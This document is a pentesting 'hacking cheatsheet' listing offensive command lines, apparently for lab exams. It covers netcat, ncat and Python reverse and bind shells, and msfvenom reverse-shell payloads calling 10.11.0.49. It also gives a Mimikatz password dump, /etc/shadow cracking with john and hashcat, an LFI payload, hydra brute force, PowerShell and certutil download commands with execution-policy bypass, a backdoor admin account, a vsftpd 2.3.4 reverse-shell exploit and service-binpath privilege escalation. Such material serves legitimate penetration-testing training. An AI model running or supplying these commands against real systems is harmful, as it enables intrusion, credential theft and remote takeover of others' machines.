Hacking cheatsheet

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Hacking cheatsheet
Hacking command list
Netcat
Connect to port
1
nc -nv 192.168.1.10 110
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Bind port and connect to:
1
nc -nlvp 4444
2
nc -nv 192.168.1.10 4444
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Copy files
1
nc -nlvp 4444 > dest-file
2
nc -nv 192.168.1.10 4444 < local-file
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Bind shell and remote execution
1
nc -nlvp 4444 -e cmd.exe
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nc -nv 192.168.1.10 4444
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Reverse shell
1
nc -nlvp 4444
2
nc -nv 192.168.1.10 4444 -e /bin/bash
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Scan ports
1
nc -nvv -w 1 -z 192.168.1.10 3388-3390
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Ncat
Bind shell SSL with allow IP address
1
ncat --exec cmd.exe --allow 192.168.1.11 -vnl 4444 --ssl
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ncat -v 192.168.1.10 4444 --ssl
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Reverse shell SSL
1
ncat -vnl 4444 --ssl
2
ncat -nv 192.168.1.10 4444 --ssl --exec /bin/bash
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Tcpdump
Load a .pcap file
1
tcpdump -r file.pcap
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Filter by source host
1
tcpdump -n src host 172.16.40.10
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Filter by destination host
1
tcpdump -n dst host 172.16.40.10
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Filter by port
1
tcpdump -n port 80
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Print packet data in HEX and ASCI
1
tcpdump -nXX
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Packets with ACK or PSH flags set
1
tcpdump -A -n 'tcp[13] = 24'
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Print HEX data on an 1500 MTU card
1
tcpdump -i tap0 -nXX -s 1500 port 110
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The harvester
Search all sources for email
1
theharvester -d domain.com -b all
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Search employees on linkedin
1
theharvester -d domain.com -b linkedin
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Search emails and query hosts in shodan
1
theharvester -d domain.com -b bing -h
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host
Find name servers
1
host -t ns domain.com
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Find mail servers
1
host -t mx domain.com
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Find address and mail servers
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host domain.com
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Reverse lookup
1
host 1.2.3.4
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Transfer DNS zone
1
host -l domain.com domain-nameserver.com
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Try all NS DNS zone transfer
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HOST=host.com; for ns in $(host -t ns $HOST | awk '{print $4}'); do host -l $HOST $ns | grep "has address" ; done
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dnsrecon
Try DNS zone transfer
1
dnsrecon -d domain.com -t axfr
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dnsenum
Enumerate host in a domain
1
dnsenum domain.com
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Nmap
TCP syn/ack scan
1
nmap -sT 10.11.11.123
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Scan all ports
1
nmap -sS 1.1.1.1 -p-
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Identify host in the network (ICMP)
1
nmap -sn -v 10.11.1.1-254 -oG host.txt
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Scan port 80 on all hosts
1
nmap -p 80 10.11.1.1-254 -oG web-host.txt
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OS, port, version, traceroute and script scan of top 20 port in a range
1
nmap -sT -A -top-ports=20 10.11.1.1-254 -oG top-ports.txt
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OS scan
1
nmap -O 10.11.11.123
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Service Version scan
1
nmap -sV -sT 10.11.11.123
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Script discover nsb and host version
1
nmap 10.11.11.123 -p 139,445 --script smb-os-discovery.nse
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Script DNS zone transfer
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nmap --script dns-zone-transfer -p 53 ns2.domain.com
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Scan for smb services (139-netbios,445-microsoft-ds)
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nmap -v -p 139,445 -oG smb.txt 10.11.1.1-254
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Enum http path
1
nmap -v -p 80 192.168.56.101 --script http-enum.ns
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SMB
Discover SMB hosts in a network, get IP, NetBIOS name and users
1
nbtscan -r 10.11.1.0/24
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Discover SMB host info
1
enum4linux -a 10.11.1.227
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Search specific vulnerability
1
nmap -v -p139,445 --script smb-vuln-ms08-067 --script-args=unsafe=1 10.13.10.4
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Enumerate shares
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nmap --script smb-enum-shares 10.13.10.4 -p139,445 -T4
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Map smb shares
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smbmap -H 10.14.15.16 -u guest
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Mount share
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mount -t cifs -o vers=1.0,username=guest,password="" //10.11.12.13/wwwroot /tmp/path
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SMTP
Connect smtp
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nc -nv 192.168.56.101 25
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# Check if user exists
3
VRFY root
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SNMP
Port: 161
Type: UDP
Scan strings [community, public, manager, etc]
1
onesixtyone -c snmp_strings.txt 127.0.0.1
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Enumerate MIB tree
1
snmpwalk -c public -v1 127.0.0.1
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Enumerate some SMTP OID
1
snmpwalk -c <COMMUNITY_STRING> <version> <HOST> <OID>
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msfvenom
PHP reverse shell
1
msfvenom -p php/reverse_php LHOST=10.11.0.49 LPORT=443 -f raw > shell.php
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Windows bind port (No firewall enabled)
1
msfvenom -p windows/shell_bind_tcp R LPORT=4446 -f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d"
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Microsoft ASP .net reverse shell
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msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.49 LPORT=4445 -f asp > shell.asp
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Create windows executable
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msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.49 LPORT=8080 -f exe -e x86/shikata_ga_nai -i 9 -o httpd.exe
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GCC / compilation
Regular compilation
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gcc -o OpenFuck 47080.c -lcrypto
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Cross compile x86 in x86_64 host
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gcc -Wall -o <out_file> <exploit.c> -m32 -march=i686 -Wl,--hash-style=both
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gcc -m32 -Wl,--hash-style=both -o udev udev.c
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Nikto
Analise web with default settings
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nikto -host http://10.11.1.10
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dirb
Scan web service directories and files
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dirb http://192.168.1.10
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Scan non recursively, non show attempts and bigger words list
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dirb http://192.168.1.10 /usr/share/dirb/wordlists/big.txt -r -S
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FTP
Non interactive FTP download from windows
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echo open 10.11.0.49 21 > ftp.txt
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echo USER xnaaro >> ftp.txt
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echo 12345>> ftp.txt
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echo bin >> ftp.txt
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echo GET wget.exe >> ftp.txt
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echo bye >> ftp.txt
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ftp -v -n -s:ftp.txt
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Mimikatz
Non interactive hash dump
1
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
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Webserver
Create a python webserver
1
python -m SimpleHTTPServer 80
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NoSQLmap
1
python nosqlmap.py --attack 2 --victim host.name --webPort 80 --uri / --httpMethod POST --postData username,test_user,password,test_password,login,login --injectedParameter 3 --injectSize 4 --injectFormat 2 --savePath output.log --verb ON
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NoSQl user/pass enum
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# Git repository: https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration
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python3 nosqli_enumeration.py -u http://localhost/index.php -up email -pp password -ep password -m POST
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Searchsploit
Search exploit
1
searchsploit <name>
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See exploit code
1
searchsploit -x /path/exploit
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Copy exploit current location
1
searchsploit -m path/exploit
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John the ripper
Merge passwd and shadow files
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unshadow /etc/passwd /etc/shadow > unshadow.txt
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Crack passwords
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john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadow_pass.txt
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Crack SSH key passphrase
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/usr/share/john/ssh2john.py id_rsa > id_rsa.hash
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john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash 
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Mutate cewl dictionary
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john --wordlist=cewl_words.txt --rules --stdout > mutated_words
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hashcat
Crack linux passwords
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hashcat -m 1800 -O passwd.hash /usr/share/wordlists/rockyou.txt --force
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File inclusion
LFI example
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http://10.12.13.14/classes/phpmailer/class.cs_phpmailer.php?classes_dir=/etc/passwd%00
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Shells
Python interactive bash shell
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python -c 'import pty;pty.spawn("/bin/bash")'
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export TERM=xterm && export SHELL=bash
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Scape restricted shell: -rbash: /usr/bin/python: restricted: cannot specify '/' in command names
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BASH_CMDS[a]=/bin/sh;a
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export PATH=$PATH:/bin/
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export PATH=$PATH:/usr/bin
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Python reverse shell
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python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.11.0.49",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
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Mysql
Non interactive queries
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mysql -u <user> -p<passwd> -D otrs -e "show databases;"
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Robots.txt
Crawl robots txt as a search engine agent
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curl --user-agent Googlebot http://10.11.12.13/robots.txt -v
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Hydra
Generate passwds from web words
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cewl http://10.11.12.13 -m 2 -w output
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Brute force logging
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hydra -L usernames.txt -P passwords.txt <IP>  <MODE> "<PATH>:Action=<HTTP_QUERY>&User=^USER^&Password=^PASS^:<ERROR message when fail"
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# Example
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hydra -L usernames -P output 10.11.12.13  http-post-form "/otrs/index.pl:Action=Login&RequestedURL=&Lang=en&TimeOffset=300&User=^USER^&Password=^PASS^:F=Login"
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Fuzzing
ffuz
Silent fuzzing
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ffuf -s -r -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.168:8080/FUZZ
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Whatweb
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$ whatweb http://10.10.10.168:8080   
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http://10.10.10.168:8080 [200 OK] Country[RESERVED][ZZ], Email[[email protected]], HTML5, HTTPServer[BadHTTPServer], IP[10.10.10.168], JQuery, Script, Title[0bscura], X-UA-Compatible[IE=Edge]
3
​
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Windows commands
Create admin user with RDP
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net user xnaaro 12345 /add
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net localgroup administrators xnaaro /add
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net localgroup "Remote Desktop Users" xnaaro /add
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Quick local enumeration
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echo. & echo. & echo whoami: & whoami 2> nul & echo %username% 2> nul & echo. & echo Hostname: & hostname & echo. & ipconfig /all & echo. & echo proof.txt: &  type "C:\Documents and Settings\Administrator\Desktop\proof.txt"
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Downloads
Download file with powershell
Option 1
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echo (New-Object System.Net.WebClient).DownloadFile("http://10.11.0.49/wget.exe", "wget.exe") > wget.ps1
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powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
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Option 2
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PowerShell -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile (New-Object System.Net.WebClient).DownloadFile('http://10.11.0.49/wget.exe','wget.exe')
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Non interactive download
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echo $storageDir = $pwd > wget.ps1
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echo $webclient = New-Object System.Net.WebClient >>wget.ps1
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echo $url = "http://10.11.0.49/wget.exe" >>wget.ps1
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echo $file = "wget.exe" >>wget.ps1
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echo $webclient.DownloadFile($url,$file) >>wget.ps1
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​
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powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
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Download file with certutil
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certutil -urlcache -split -f "http://10.11.0.49/wget.exe" wget.exe
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Windows exploit suggester
Copy systeminfo to local host
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./windows-exploit-suggester.py --database 2019-11-29-mssb.xls --systeminfo /tmp/systeminfo
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Well know exploits
Ubuntu 11 - CVE-2012-0056 - Mempodipper - Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)
Windows compiled exploits repo https://github.com/SecWiki/windows-kernel-exploits.git​
Common vulnerabilities
vsFTPD 2.3.4
Exploit and reverse shell
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python3 vsftpd_234_exploit.py 192.168.56.101 21 "sh -c 'nc -nv 192.168.56.1 44444 -e /bin/bash > /dev/null 2>&1 &'"
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Windows XP SP1 priv escalation
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sc config upnphost binpath= "C:\Inetpub\Scripts\nc.exe 10.11.0.49 10000 -e C:\WINDOWS\System32\cmd.exe"
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sc config upnphost obj= ".\LocalSystem" password= ""
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sc qc upnphost
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net start upnphost
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YAML
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